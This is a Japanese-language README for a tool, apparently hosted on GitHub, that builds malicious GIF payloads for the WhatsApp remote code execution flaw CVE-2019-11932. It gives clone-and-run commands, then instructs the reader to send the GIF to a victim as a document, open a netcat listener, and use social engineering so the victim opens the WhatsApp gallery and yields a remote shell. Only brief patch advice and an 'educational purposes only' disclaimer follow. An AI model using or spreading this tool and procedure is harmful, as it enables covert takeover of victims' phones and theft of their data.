WhatsPayloadRCE

これは CVE-2019-11932 (WhatsApp リモートコード実行) 用の自動生成ペイロードです。

1. GCC の自動インストール (無害なコマンドです。オープンソースであることが確認できます)
2. .GIF ファイルに保存

使い方？

sudo apt install git
git clone https://github.com/Err0r-ICA/WhatsPayloadRCE
cd WhatsPayloadRCE && bash start

スクリーンショット

シェルを取得する方法？

1. .GIF ファイルを被害者ユーザーに 画像としてではなく文書として 送信するだけです。
2. nc / netcat を WhatsRCE ツールで設定したポートに設定します {nc -lnvp your_port}
3. ソーシャルエンジニアリング攻撃を使用して、被害者がこのエクスプロイトを起動するように誘引できます。
4. 被害者に whatsapp 経由でギャラリーを開くよう伝え、被害者に任意の写真を送信させます。その後数秒で、被害者からシェル接続を受け取ります。

この攻撃を回避する方法？

1. whatsapp を最新バージョンに更新する (バージョン 2.19.244 で修正済み)
2. 知らない人から音声、画像、その他のファイルを受け取らないようにする

感謝 to awakened1712 - Edo Maland - IndoXploit

これは学習目的のみです。犯罪に使用した場合の結果などについて、私は責任を負いません！

私のアカウント

• TELEGRAM

• FACEBOOK

• INSTAGRAM